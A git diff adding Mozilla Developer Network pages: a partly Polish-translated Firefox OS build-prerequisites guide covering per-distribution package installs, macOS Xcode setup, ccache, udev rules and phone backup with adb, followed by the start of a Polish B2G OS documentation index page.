+<p>For example, here is the situation on Ubuntu 12.04 LTS x86-64. On this distribution, the <code>libgl1-mesa-dev</code> package cannot be installed simultaneously in x86-64 and i386 versions, but you can have the following combination of packages simultaneously installed:</p>
+<pre class="bz_comment_text" id="comment_text_12">sudo apt-get install libgl1-mesa-dev libglapi-mesa:i386 libgl1-mesa-glx:i386</pre>
+<p>After having run this command, you will still have to manually create some symlinks for the emulator build to succeed:</p>
+<pre class="note">sudo ln -s /usr/lib/i386-linux-gnu/libX11.so.6 /usr/lib/i386-linux-gnu/libX11.so
+sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1 /usr/lib/i386-linux-gnu/libGL.so</pre>
+<h4 id="Solution_2_just_patch_the_emulator_so_it_only_builds_64bit">Solution #2: just patch the emulator so it only builds 64bit</h4>
+<p>Just apply <a href="https://bug897727.bugzilla.mozilla.org/attachment.cgi?id=786280" title="https://bug897727.bugzilla.mozilla.org/attachment.cgi?id=786280">this patch</a> to the sdk/ git repository under the B2G repo. This will cause the B2G emulator to only attempt to build the 64bit emulator if you're on a 64bit system, thus avoiding any multilib issues. The 32bit emulator is unused anyway on a 64bit system. This is the simplest solution, until this patch eventually bit-rots.</p>
+<h3 id="64_bit_requirement_installation">64 bit requirement installation</h3>
+<p>This section lists the commands you need to run in different Linux distributions to install all the requirements for building Firefox OS.</p>
+<h4 id="Ubuntu_12.04_Linux_Mint_13_Debian_6">Ubuntu 12.04 / Linux Mint 13 / Debian 6</h4>
+<p>Run the following command in Terminal:</p>
+<pre>sudo apt-get update
+sudo apt-get install autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev libgl1-mesa-dev libx11-dev make zip</pre>
+<p>If you'll build for the <a href="https://developer.mozilla.org/en-US/Firefox_OS/Developer_phone_guide/Flame">"Flame"</a> reference device or Nexus 5, run the following command in Terminal:</p>
+<pre>sudo apt-get install libxml2-utils </pre>
+<p>And see the above comments about emulator build issues!</p>
+<h4 id="Ubuntu_12.10">Ubuntu 12.10</h4>
+<p>Run the following command in Terminal:</p>
+<pre>sudo apt-get install autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib gcc-4.6 g++-4.6 g++-4.6-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev libgl1-mesa-dev libx11-dev make zip</pre>
+<p>In addition to the emulator build issues discussed above, the compiler will default to <code>gcc-4.7</code>, which will fail to build with an error along the following lines:</p>
+<p>"<code>KeyedVector.h:193:31: error: indexOfKey was not declared in this scope, and no declarations were found by argument-dependent lookup at the point of instantiation"</code></p>
+<p>To fix this, you will need to specify GCC 4.6 as the default host compiler after having retrieved the B2G sources: Read <a href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler">Changing the default host compiler</a> to find out how to do it.</p>
+<p class="note">In a fresh Ubuntu 12.10 install, you'll get an error about unmet dependencies for ia32-libs. The following commands fix it:</p>
+<pre>sudo dpkg --add-architecture i386
+sudo apt-get update
+sudo apt-get install ia32-libs</pre>
+<h4 id="Ubuntu_13.04">Ubuntu 13.04</h4>
+<p>Run the following command in Terminal:</p>
+<pre>sudo apt-get install --no-install-recommends autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib gcc-4.6 g++-4.6 g++-4.6-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev zlib1g:amd64 zlib1g-dev:amd64 zlib1g:i386 zlib1g-dev:i386 libgl1-mesa-dev libx11-dev make zip</pre>
+<p>In addition to the emulator build issues discussed above, the compiler will default to <code>gcc-4.7</code>, which will fail to build with an error along the following lines:</p>
+<p>"<code>KeyedVector.h:193:31: error: indexOfKey was not declared in this scope, and no declarations were found by argument-dependent lookup at the point of instantiation"</code></p>
+<p>To fix this, you will need to specify GCC 4.6 as the default host compiler after having retrieved the B2G sources: Read <a href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler">Changing the default host compiler</a> to find out how to do it.</p>
+<h4 id="Ubuntu_13.10">Ubuntu 13.10</h4>
+<p>With Ubuntu 13.10, multi-arch packages are now the main way to support multiple architectures (e.g. 32-bit on a 64-bit install).  You must tell your Ubuntu system that you want to support 32-bit packages as well:<br>
+  </p>
+<pre>sudo dpkg --add-architecture i386
+sudo apt-get update</pre>
+<p>Once you've completed that, then you can install the necessary packages:</p>
+<pre style="font-family: 'Open Sans', sans-serif; line-height: 21px;">sudo apt-get install --no-install-recommends autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib gcc-4.6 g++-4.6 g++-4.6-multilib git lib32ncurses5-dev lib32z1-dev zlib1g:amd64 zlib1g-dev:amd64 zlib1g:i386 zlib1g-dev:i386 libgl1-mesa-dev libx11-dev make zip libxml2-utils
+
+sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.6 1
+
+sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.8 2
+
+sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-4.6 1
+
+sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-4.8 2
+
+sudo update-alternatives --set gcc "/usr/bin/gcc-4.6"
+
+sudo update-alternatives --set g++ "/usr/bin/g++-4.6" </pre>
+<h4 id="Fedora_17181920"><br>
+ Fedora 17/18/19/20</h4>
+<p>Run the following command in Terminal:</p>
+<pre class="note">sudo yum install autoconf213 bison bzip2 ccache curl flex gawk gcc-c++ git glibc-devel glibc-static libstdc++-static libX11-devel make mesa-libGL-devel ncurses-devel patch zlib-devel ncurses-devel.i686 readline-devel.i686 zlib-devel.i686 libX11-devel.i686 mesa-libGL-devel.i686 glibc-devel.i686 libstdc++.i686 libXrandr.i686 zip perl-Digest-SHA wget</pre>
+<p>In addition to the above you will need GCC 4.6.x in order to compile the project:</p>
+<ul>
+ <li><a href="http://people.mozilla.org/~gsvelto/gcc-4.6.4-fc18.tar.xz">Pre-compiled GCC 4.6.x for  Fedora 17/18</a></li>
+ <li><a href="http://people.mozilla.org/~gsvelto/gcc-4.6.4-fc19.tar.xz">Pre-compiled GCC 4.6.x for Fedora 19/20</a></li>
+</ul>
+<p>Download the right version for your Fedora installation, then install it to <code>/opt,</code> with the following command on Fedora 17/18:</p>
+<pre class="note">curl -O http://people.mozilla.org/~gsvelto/gcc-4.6.4-fc18.tar.xz
+sudo tar -x -a -C /opt -f gcc-4.6.4-fc18.tar.xz
+</pre>
+<p>And with the following command for Fedora 19/20:</p>
+<pre class="note">curl -O http://people.mozilla.org/~gsvelto/gcc-4.6.4-fc19.tar.xz
+sudo tar -x -a -C /opt -f gcc-4.6.4-fc19.tar.xz
+</pre>
+<p>You will need to specify GCC 4.6.x as the default host compiler after having retrieved the B2G sources: Read <a href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler">Changing the default host compiler</a> to find out how to do it.</p>
+<p>If build fails with the compiler complaining about not finding libmpc.so.2, install the package compat-libmpc</p>
+<h4 id="Arch_Linux"><strong>Arch Linux</strong></h4>
+<p>Run the following command in Terminal:</p>
+<pre class="note">sudo <span style=""><span style="">pacman -S --needed </span></span><span style=""><span style="">alsa-lib </span></span><span style=""><span style="">autoconf2.13</span></span><span style=""><span style=""> bison</span></span><span style=""><span style=""> ccache</span></span><span style=""><span style=""> </span></span><span style=""><span style="">curl firefox </span></span><span style=""><span style="">flex </span></span><span style=""><span style="">gcc-multilib </span></span><span style=""><span style="">git </span></span><span style=""><span style="">gperf </span></span><span style=""><span style="">libnotify </span></span><span style=""><span style="">libxt </span></span><span style=""><span style="">libx11 mesa multilib-devel </span></span><span style=""><span style="">wget wireless_tools </span></span><span style=""><span style="">yasm</span></span><span style=""><span style=""> zip </span></span><span style=""><span style="">lib32-mesa </span></span>lib32-mesa-libgl <span style=""><span style="">lib32-ncurses lib32-readline</span></span><span style=""><span style=""> </span></span><span style=""><span style="">lib32-zlib</span></span></pre>
+<p>To install the lib32-* packages you need to have the multilib repository enabled.</p>
+<p>B2G <a href="https://developer.mozilla.org/en-US/Firefox_OS/Building#KeyedVector.h.3A193.3A31.3A_error.3A_indexOfKey_was_not_declared_in_this_scope">can only be compiled with gcc4.6.4</a>, and because Arch Linux always has bleeding edge software you will need to install <a href="https://aur.archlinux.org/packages/gcc46-multilib">gcc46-multilib from AUR</a>. Note that you will have to edit the PKGBUILD and add <code>staticlibs</code> to the <code>options</code> array, or gcc will be unable to compile B2G and give you a <code>cannot find -lgcc</code> error when compiling. You will also need to add the following to your <code>.userconfig</code> file:</p>
+<pre class="language-html">export CC=gcc-4.6.4
+export CXX=g++-4.6.4</pre>
+<p>By default, Arch Linux uses Python3. You'll have to force it to use the old python2. You can do that by linking the python2 executable to python but this is discouraged and considered error-prone. This will also break python 3 if it is installed on your system. A better way is to use <code>virtualenv</code>/<code>virtualenvwrapper</code>:</p>
+<pre><span style=""><span style="">sudo pacman -S python-virtualenvwrapper
+</span></span>source /usr/bin/virtualenvwrapper.sh
+mkvirtualenv -p `which python2` firefoxos
+workon firefoxos
+</pre>
+<p>Android will complain that you need make 3.81 or make 3.82 instead of 4.0. You can download <a href="https://aur.archlinux.org/packages/make-3.81/">make 3.81 from AUR</a>.  This will install the make-3.81 binary on your path, you need to create a symlink named make to a location earlier in the PATH variable for the build to use the correct version.</p>
+<pre>mkdir -p ~/bin
+ln -s `which make-3.81` ~/bin/make
+export PATH=~/bin:$PATH
+</pre>
+<p>Android also needs the Java6 SDK and Arch only has Java7.  Unfortunately the aur build is broken, but you can still download the <a href="http://www.oracle.com/technetwork/java/javasebusiness/downloads/java-archive-downloads-javase6-419409.html#jdk-6u45-oth-JPR">Java 6 SDK</a> and install it manually.  You will then need to put it in your path.</p>
+<pre>cp ~/Downloads/jdk-6u45-linux-x64.bin /opt
+su
+cd /opt
+chmod +x jdk-6u45-linux-x64.bin
+./jdk-6u45-linux-x64.bin
+exit
+ln -s /opt/jdk1.6.0_45/bin/java ~/bin/java
+
+</pre>
+<h4 id="Gentoo_Linux"><strong>Gentoo Linux</strong></h4>
+<h5 id="Installing_ccache">Installing ccache</h5>
+<p>You will need to install <strong><a href="http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=2&amp;chap=3#doc_chap3">ccache</a></strong>, a tool for caching partial builds.</p>
+<pre><span style=""><span style=""># emerge -av ccache</span></span>
+</pre>
+<p>Because ccache is known to frequently cause support issues, Gentoo encourages you to use it <em>explicitly</em> and <em>sparingly</em>.</p>
+<p>To enable the required use of ccache, on <em>the subsequent step</em> of this guide where the <code>./build.sh</code> script is called, Gentoo users should instead run the command with an explicitly extended path, ie.</p>
+<pre><span style=""><span style=""><strong>PATH=/usr/lib64/ccache/bin:$PATH</strong> ./build.sh</span></span>
+</pre>
+<h5 id="Generating_Partition_Images">Generating Partition Images</h5>
+<p>If you are building B2G for actual physical hardware, then you may at some point also wish to generate some partition images for upload to your device. (For example, to restore backed up files to the device via the <strong><em>fastboot</em></strong> utility)</p>
+<p>The filesystem image format used in this case is YAFFS2 (Yet Another Filesystem 2). Gentoo has support for the very latest (ie. git HEAD) <code>yaffs2-utils</code> userland package in portage. (Note: You will also need kernel patches if you want to mount YAFFS2 images, but this is not really required since you can deconstruct and rebuild them instead.)</p>
+<pre># emerge --autounmask-write yaffs2-utils; etc-update; emerge -av yaffs2-utils</pre>
+<p>In order to generate such an image, simply change to the parent directory of the partition filesystem tree you wish to package, and issue a command like this:</p>
+<pre>mkyaffs2image system/ system.img</pre>
+<h2 id="Wymagania_dla_systemu_Mac_OS_X">Wymagania dla systemu Mac OS X</h2>
+<p>To build Firefox OS on Mac OS X, there are a number of prequisite steps you need to follow, which are detailed below. We also discuss common errors you might come across in particular situations, and solutions to those.</p>
+<div class="note">
+ <p><strong>Note: Configuring and Building B2G for Keon WON'T WORK on a Mac</strong>. You'll need to use Linux to build B2G for this device.</p>
+</div>
+<h3 id="Install_XCode_Command_Line_Utilities"><strong>Install XCode Command Line Utilities</strong></h3>
+<p>You need to install Xcode's Command Line Utilities. You can download <em>just</em> the Command Line Utilities from <a href="https://developer.apple.com/downloads/" title="https://developer.apple.com/downloads/">Apple's developer downloads page</a> for your particular version of OS X, however if you would like the entire Xcode suite of applications, you can <a class="external" href="http://itunes.apple.com/us/app/xcode/id497799835?mt=12" style="line-height: 1.572;" title="http://itunes.apple.com/us/app/xcode/id497799835?mt=12">install Xcode</a><span style="line-height: 1.572;"> through the Mac App Store. </span></p>
+<p>Xcode 4.3.1 (OS X 10.7 "Lion") and other newer versions such as 4.4.1+ (that is, Mac OS X 10.8 "Mountain Lion"), won't necessarily include the required Command Line Utilities. When you install Xcode, make sure to go into Preferences, then the Downloads panel, and install the Command Line Utilities. In addition, make sure you have at least 20 GB of free disk space.</p>
+<p><img alt="Screenshot of Xcode Downloads Command Line Tools" src="/files/4557/xcode_downloads_command_line_tools.png" style="width: 750px; height: 528px;"></p>
+<div class="note">
+ <strong>Note:</strong> The Firefox OS emulator requires a Core 2 Duo processor or later; that is, a system that is compatible with Mac OS X 10.7 "Lion". You do not actually have to be running Lion, you just have to be compatible with it. You can, however, build any Firefox OS build on many older Macs.</div>
+<h3 id="Run_Firefox_OS_Mac_Bootstrap">Run Firefox OS Mac Bootstrap</h3>
+<p>Next, open a terminal and run the following command:</p>
+<pre class="brush: bash">curl -fsSL https://raw.github.com/mozilla-b2g/B2G/master/scripts/bootstrap-mac.sh | bash</pre>
+<p>This will pull and run a bootstrap script that makes sure you have all the prerequisites met to build the emulator. It will also prompt you for permission to install anything you're missing, and provide warnings and suggested fixes to problems. The script will check for and install the following items:</p>
+<ul>
+ <li><code>git</code></li>
+ <li><code>gpg</code></li>
+ <li><code>ccache</code></li>
+ <li><code>yasm</code></li>
+ <li><code>autoconf-213</code></li>
+ <li><code>gcc-4.6</code></li>
+ <li><code>homebrew</code></li>
+</ul>
+<h4 id="Xcode_wrangling">Xcode wrangling</h4>
+<p>If you have already upgraded to Xcode 4.4+ and get the message that Xcode is outdated, check the Xcode path with:</p>
+<pre>xcode-select -print-path</pre>
+<p>If it still points to <code>/Developer</code> you can update the path with:</p>
+<pre>sudo xcode-select -switch /Applications/Xcode.app</pre>
+<h4 id="Making_the_Mac_OS_X_10.6_SDK_available">Making the Mac OS X 10.6 SDK available</h4>
+<p>You also need to have the Mac OS X 10.6 SDK available. The SDK needs to be available at</p>
+<pre>/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/</pre>
+<p>If it cannot be found there you will need to extract and copy it from Xcode 4.3. To do this:</p>
+<ol>
+ <li>Download the XCode 4.3 .dmg file from the <a class="external" href="https://developer.apple.com/downloads/index.action">Apple Developer</a> portal (you'll need an <a href="https://developer.apple.com/register/index.action" title="https://developer.apple.com/register/index.action">Apple Developer account</a>).</li>
+ <li>Download the utility <a href="http://www.charlessoft.com/" title="http://www.charlessoft.com/">Pacifist</a> and use it to extract the 10.6 SDK from the XCode 4.3 .dmg file. Click on the "Extract Package" button, find the SDK by searching for 10.6 in the search box, then <em>Ctrl + click</em> on the MacOSX10.6.sdk directory and Extract it to a suitable location.</li>
+ <li>Add a symlink from the 10.6 SDK location to the <code>/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/</code> directory. For example, if you put the 10.6 SDK on your desktop, the comment would be</li>
+</ol>
+<pre>ln -s /Users/<em>&lt;yourusername&gt;</em>/Desktop/MacOSX10.6.sdk /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/</pre>
+<h3 id="Be_aware_of_Mac_file_system_case_sensitivity">Be aware of Mac file system case sensitivity</h3>
+<p>By default, Mac OS X ships with a case-insensitive file system.  This is problematic because the Linux kernel has a number of files with the same name, but different case.  For example, see the header files <code>xt_CONNMARK.h</code> and <code>xt_connmark.h</code>.  This results in a number of files appearing to be modified in <code>/kernel</code> after a fresh <code>./config.sh</code>.</p>
+<p>In many cases you can run the build just fine; for some platforms, however, you may encounter the following error:</p>
+<pre><span class="quote">ERROR: You have uncommited changes in kernel
+You may force overwriting these changes
+with |source build/envsetup.sh force|
+
+ERROR: Patching of kernel/ failed.</span></pre>
+<p><span class="quote">Please see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=867259" title="https://bugzilla.mozilla.org/show_bug.cgi?id=867259">bug 867259</a></span> for more discussion and possible fixes for this problem.</p>
+<p>Alternatively, it will always be safest to build on a case sensitive file system.  The easiest way to do this is to create a separate, mountable disk image with case-sensitivity enabled.  You can do this using Apple's Disk Utility application or from the command line:</p>
+<pre>hdiutil create -volname 'firefoxos' -type SPARSE -fs 'Case-sensitive Journaled HFS+' -size 40g ~/firefoxos.sparseimage</pre>
+<p>Mount the drive with:</p>
+<pre>open ~/firefoxos.sparseimage</pre>
+<p>Change into the mounted drive with:</p>
+<pre>cd /Volumes/firefoxos/</pre>
+<p>You can then check out the code and compile from this location without worrying about case-sensitivity problems.</p>
+<h3 id="Mountain_Lion_homebrew_gotcha">Mountain Lion homebrew gotcha</h3>
+<div>
+ <div>
+ If you are on Mountain Lion and you receive an error during the installation of the dependencies via homebrew, such as:</div>
+</div>
+<div>
+ <pre>clang: error: unable to execute command: Segmentation fault: 11</pre>
+ ... try reinstalling the dependency manually adding the <code>--use-gcc</code> flag, for example:
+ <pre>brew install mpfr --use-gcc</pre>
+</div>
+<h3 id="Follow_Samsung_Galaxy_S2_extra_steps">Follow Samsung Galaxy S2 extra steps</h3>
+<p>If you plan to build for the Samsung Galaxy S2, you will also need to install heimdall. See {{ anch("Installing heimdall") }} for details. This is <strong>not</strong> done for you by the bootstrap script!</p>
+<div class="note">
+ <strong>Note:</strong> If you have installed the <a class="external" href="http://www.samsung.com/us/kies/" title="http://www.samsung.com/us/kies/">Samsung Kies</a> tool, which is used to manage the contents of many Samsung phones, you will have to remove it before you can flash Firefox OS onto your device. You can use the standard application removal process on Windows; on Mac, the Kies install disk image has a utility to fully remove Kies from your system. Flashing <strong>will not work</strong> if you have Kies installed. If you forget to remove Kies, the build system will detect it and remind you to uninstall it. Note also that the uninstall tool does not correctly remove the folder <code>~/Library/Application Support/.FUS</code>, and leaves a reference to a utility there in your user startup items list. You will want to remove these manually.</div>
+<h3 class="note" id="Fix_libmpc_dependency_if_broken">Fix libmpc dependency if broken</h3>
+<p><code>gcc 4.6</code> was built with <code>libmpc 0.9</code>; if you then use homebrew to update packages, libmpc gets updated to version 1.0, but homebrew doesn't rebuild <code>gcc 4.6</code> after the library version changes. So you need to create a symlink to make things work again, like this:</p>
+<pre>cd /usr/local/lib/
+ln -s libmpc.3.dylib libmpc.2.dylib</pre>
+<h3 id="Optional_Install_HAX">Optional: Install HAX</h3>
+<p>Intel provides a special driver that lets the B2G emulator run its code natively on your Mac instead of being emulated, when you're using the x86 emulator. If you wish to use this, you can <a class="external" href="http://software.intel.com/en-us/articles/intel-hardware-accelerated-execution-manager/" title="http://software.intel.com/en-us/articles/intel-hardware-accelerated-execution-manager/">download and install</a> it. It's not required, but it can improve emulation performance and stability.  </p>
+<p>Before you install HAX you will need to install the <a href="http://developer.android.com/sdk/index.html" title="http://developer.android.com/sdk/index.html">Android SDK</a>.</p>
+<h2 class="note" id="Instalacja_adb">Instalacja adb</h2>
+<p>The build process needs to pull binary blobs from the Android installation on the phone before building B2G (unless you're building the emulator, of course).  For this, you will need <code>adb</code>, the Android Debug Bridge. Our <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">Installing ADB</a> article explains how to get <code>adb</code> installed.</p>
+<div class="warning">
+ <p>Note for future when you start to use adb: adb needs the phone's lock screen to be unlocked in order to see your phone (at least in later versions of Firefox OS). You'll probably want to disable the lock screen (we'll get to how later in the build instructions).</p>
+</div>
+<h2 class="note" id="Instalacja_heimdall">Instalacja heimdall</h2>
+<p>Heimdall is a utility for flashing the Samsung Galaxy S2. It's used by the Boot to Gecko flash utility to replace the contents of the phone with Firefox OS, as well as to flash updated versions of B2G and Gaia onto the device. You'll need it if you want to install Firefox OS on a Galaxy S2; it is <strong>not</strong> needed for any other device. For other devices, we build and use the fastboot utility instead.</p>
+<div class="note">
+ <strong>Note:</strong> Again, it's important to note that this is <strong>only required for installing Firefox OS on the Samsung Galaxy S2</strong>.</div>
+<p>There are two ways to install heimdall:</p>
+<ul>
+ <li>You can <a class="link-https" href="https://github.com/Benjamin-Dobell/Heimdall" title="https://github.com/Benjamin-Dobell/Heimdall">download the code</a> GitHub and build it yourself.</li>
+ <li>Use a package manager to install it.
+ <ul>
+ <li>On Linux: <code>sudo apt-get install libusb-1.0-0 libusb-1.0-0-dev</code></li>
+ <li>On Mac, you can <a class="link-https" href="https://github.com/downloads/Benjamin-Dobell/Heimdall/heimdall-suite-1.3.2-mac.dmg" title="https://github.com/downloads/Benjamin-Dobell/Heimdall/heimdall-suite-1.3.2-mac.dmg">download an installer package</a> and use that.</li>
+ </ul>
+ </li>
+</ul>
+<h2 id="Konfiguracja_ccache">Konfiguracja ccache</h2>
+<p>The B2G build process uses ccache. The default cache size for ccache is 1GB, but the B2G build easily saturates this; around 3GB is recommended. You can configure your cache by running the following command inside terminal:</p>
+<pre><code>$ ccache --max-size 3GB</code></pre>
+<h2 id="Dla_systemu_Linux_konfigurowanie_reguł_udev_dla_telefonu">Dla systemu Linux: konfigurowanie reguł udev dla telefonu</h2>
+<div class="note">
+ <p><strong>Note</strong>: This section is specific to Linux; Mac OS X has the necessary device permissions set up already.</p>
+</div>
+<p>Next, you need to confingure the udev rule for your phone,</p>
+<p>You can get the <a href="https://developer.android.com/tools/device.html#VendorIds">USB vendor ID</a> by running <code>lsusb</code> with your phone plugged in, but typically it's Google <code>18d1,</code> Samsung <code>04e8</code>, ZTE <code>19d2</code>, Geeksphone/Qualcomm <code>05c6</code>. Add this line in your <code>/etc/udev/rules.d/android.rules</code> file (replacing <code>XXXX</code> with the ID for your device):</p>
+<pre>SUBSYSTEM=="usb", ATTR{idVendor}=="XXXX", MODE="0666", GROUP="plugdev"</pre>
+<p>Take ZTE for example, the content in android.rules will be</p>
+<pre style="font-size: 14px;">SUBSYSTEM=="usb", ATTR{idVendor}=="19d2", MODE="0666", GROUP="plugdev"</pre>
+<div class="note">
+ <p><span style="line-height: 1.572;">If the file doesn't exist, create it. The <code>rules.d</code> directory is usually read only by default, so you may have to use <code>chmod</code> to make the directory writeable, or the file, or both.</span></p>
+</div>
+<p><span style="line-height: 1.572;">Once you've saved the file, and closed it,  make the file readable:</span></p>
+<pre>sudo chmod a+r /etc/udev/rules.d/android.rules
+</pre>
+<p>Now that the udev rules have been updated, restart the udev daemon. For ubuntu:</p>
+<pre>sudo service udev restart</pre>
+<p>Finally, unplug and the USB cable but don't replug it in because we need to enable remote debugging on the phone first.</p>
+<h2 id="Enable_remote_debugging">Enable remote debugging</h2>
+<p>Before you plug your phone back into your USB port, put it USB developer mode. This allows you to debug and flash the phone. To enable developer mode, on your phone enable <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Remote_debugging">Remote Debugging</a> in <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a> (this was called Developer mode on older versions.) Once the option is checked, remote debugging is enabled, and you are ready to go.</p>
+<p>At this point, connect your phone to your computer via a USB cable (if you created the udev rule before, this will trigger udev to detect the phone and create the device node with the right permissions). Now you can check if you can list your device via the <code>adb devices</code> command (remember that adb can only see your phone when the lock screen is unlocked). If everything has worked ok, you should see an output similar to this (the following is for a Geeksphone Keon):</p>
+<pre style="font-size: 14px;">$ adb devices
+List of devices attached
+full_keon device</pre>
+<p>If the device did not list as expect, check the file name and the script are all correct (see previous section), then restart the computer and retype the command again. Note also that if your device uses fastboot, the bootloader may identify itself with a different vendor ID than the one you see when the device boots normally.</p>
+<h2 id="Backup_the_phone_system_partition">Backup the phone system partition</h2>
+<div class="note">
+ <p><strong>Note</strong>: You have to do this before you build your device if you do not have an existing system backup, because some libraries will be referenced in build time. These library might be proprietary so we can't provide in our code base.</p>
+</div>
+<p>It is recommended that you back up the entire Android system partition on your phone.</p>
+<p>You can use this copy of the binary blobs for Android in case you later delete your B2G tree. To do this, run:</p>
+<pre>adb pull /system &lt;backup target dir&gt;/system
+</pre>
+<p> Depending on the phone, you may also need to pull the <code>/data</code> and/or <code>/vendor</code> directories:</p>
+<pre>adb pull /data &lt;backup target dir&gt;/data
+adb pull /vendor &lt;backup target dir&gt;/vendor
+</pre>
+<p>If the pull commands fail with an "insufficient permission" message, try the following:</p>
+<ul>
+ <li>stop and restart the adb server, or if that fails,</li>
+ <li>double-check that you have granted root permissions to the <code>adb</code> tool within your custom ROM (e.g. under CyanogenMod, change <em>Settings &gt; System &gt; Developer Options &gt; Root Access</em> to <em>Apps and ADB</em> or <em>ADB only</em>).</li>
+ <li>Verify that you have set up the udev rule correctly (see {{ anch("For Linux: configure the udev rule for your phone") }}.</li>
+</ul>
+<h2 id="On_to_the_next_step">On to the next step</h2>
+<p>At this point, you should be ready to <a href="/en-US/docs/Mozilla/Firefox_OS/Preparing_for_your_first_B2G_build" title="en-US/docs/Mozilla/Firefox_OS/Preparing_for_your_first_B2G_build">fetch the Firefox OS code</a>!</p>
diff --git a/files/pl/archive/b2g_os/index.html b/files/pl/archive/b2g_os/index.html
new file mode 100644
index 0000000000..7ed185db02
--- /dev/null
+++ b/files/pl/archive/b2g_os/index.html
@@ -0,0 +1,86 @@
+---
+title: B2G OS
+slug: Archive/B2G_OS
+tags:
+ - B2G
+ - Firefox OS
+ - Gaia
+ - Początek FirefoxOS
+ - Początkujący
+ - Przegląd
+ - Łatwe
+translation_of: Archive/B2G_OS
+---
+<p>Firefox OS jest obecnie w trakcie intensywnego rozwoju; Stale pracujemy nad ułatwieniami w używaniu i bezpieczeństwie Gaia, i tworzeniu aplikacji. Jakkolwiek, potrzebujesz wiedzy o systemach na jakich jest zbudowany stos Firefox OS lub  telefon z Firefox OS. Linki poniżej są przeznaczone dla programistów sieciowych zainteresowanych uruchamianiem i tworzeniem zmian do Gaia lub tworzeniem i rozwijaniem aplikacji na urządzenia z systemem Firefox OS.</p>
+
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h2 class="Documentation" id="Documentation" name="Documentation">Dokumentacja Firefox OS</h2>
+
+ <dl>
+ <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Introduction" title="en-US/docs/Mozilla/Boot_to_Gecko/Introduction">Wprowadzenie do Firefox OS</a></dt>
+ <dd>Informacje wprowadzające czym jest Firefox OS i jak on działa.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Writing_apps_for_Boot_to_Gecko" title="en-US/docs/Mozilla/Boot_to_Gecko/Writing apps for Boot to Gecko">Pisanie aplikacji dla Firefox OS</a></dt>
+ <dd>Tutorial opisujący jak tworzyć aplikacje działające na urządzeniach z Firefox OS.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Building_and_installing_Boot_to_Gecko" title="en-US/docs/Mozilla/Boot_to_Gecko/Building and installing Boot to Gecko">Kompilacja i instalacja Firefox OS</a></dt>
+ <dd>Przewodnik jak skompilować Firefox OS i zainstalować go na swoim urządzeniu. Ten przewodnik obejmuje również kompilację emulatora Firefox OS dla uruchamiania Firefox OS na komputerze.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Gaia" title="/en-US/docs/Mozilla/Gaia">Gaia</a></dt>
+ <dd>Dokumentacja Gaia, aplikacji interfejsu użytkownika dla urządzeń z Firefox OS. Jest to internetowa aplikacja uruchamiana na szczycie stosu oprogramowania Firefox OS.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Gonk" title="/en-US/docs/Mozilla/Firefox_OS/Gonk">Gonk</a></dt>
+ <dd>Dokumentacja Gonk, warstwy systemu operacyjnego poniżej Gaia. Składa się on z jądra Linuxa i warstwy abstakcyjnej sprzętu, z którym łączy się Gecko.</dd>
+ <dt><a href="/en-US/docs/Gecko" title="/en-US/docs/Gecko">Gecko</a></dt>
+ <dd>Gecko jest warstwą  Firefox OS która zapewnia taką samą implementację otwartych standardów internetowych, jakiej używają Firefox i Thunderbird, a także wiele innych aplikacji.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Security" title="/en-US/docs/Mozilla/Firefox_OS/Security">Bezpieczeństwo</a></dt>
+ <dd>Dokumentacja zabezpieczeń w Firefox OS. Ten zawierający tematy o bezpieczeństwie urządzeń z każdej perspektywy: dla programistów aplikacji, integratorów urządzeń, itd. </dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Performance" title="/en-US/docs/Mozilla/Firefox_OS/Performance">Wydajność</a></dt>
+ <dd>Artykuły o optymalizacji aplikacji dla Firefox OS.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Architecture" title="/en-US/docs/Mozilla/Firefox_OS/Architecture">Przegląd architektury Firefox OS</a></dt>
+ <dd>Przegląd jak zbudowany jest Firefox OS.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Troubleshooting" title="/en-US/docs/Mozilla/Boot_to_Gecko/Troubleshooting">Rozwiązywanie problemów</a></dt>
+ <dd>Przewodnik wspólnego rozwiązywania problemów z Firefox OS.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Testing_Boot_to_Gecko" title="en-US/docs/Mozilla/Boot_to_Gecko/Testing Boot to Gecko">Testowanie Firefox OS</a></dt>
+ <dd>Przewodnik testowania Firefox OS, zawierający informacje o tworzeniu testów automatycznych.</dd>
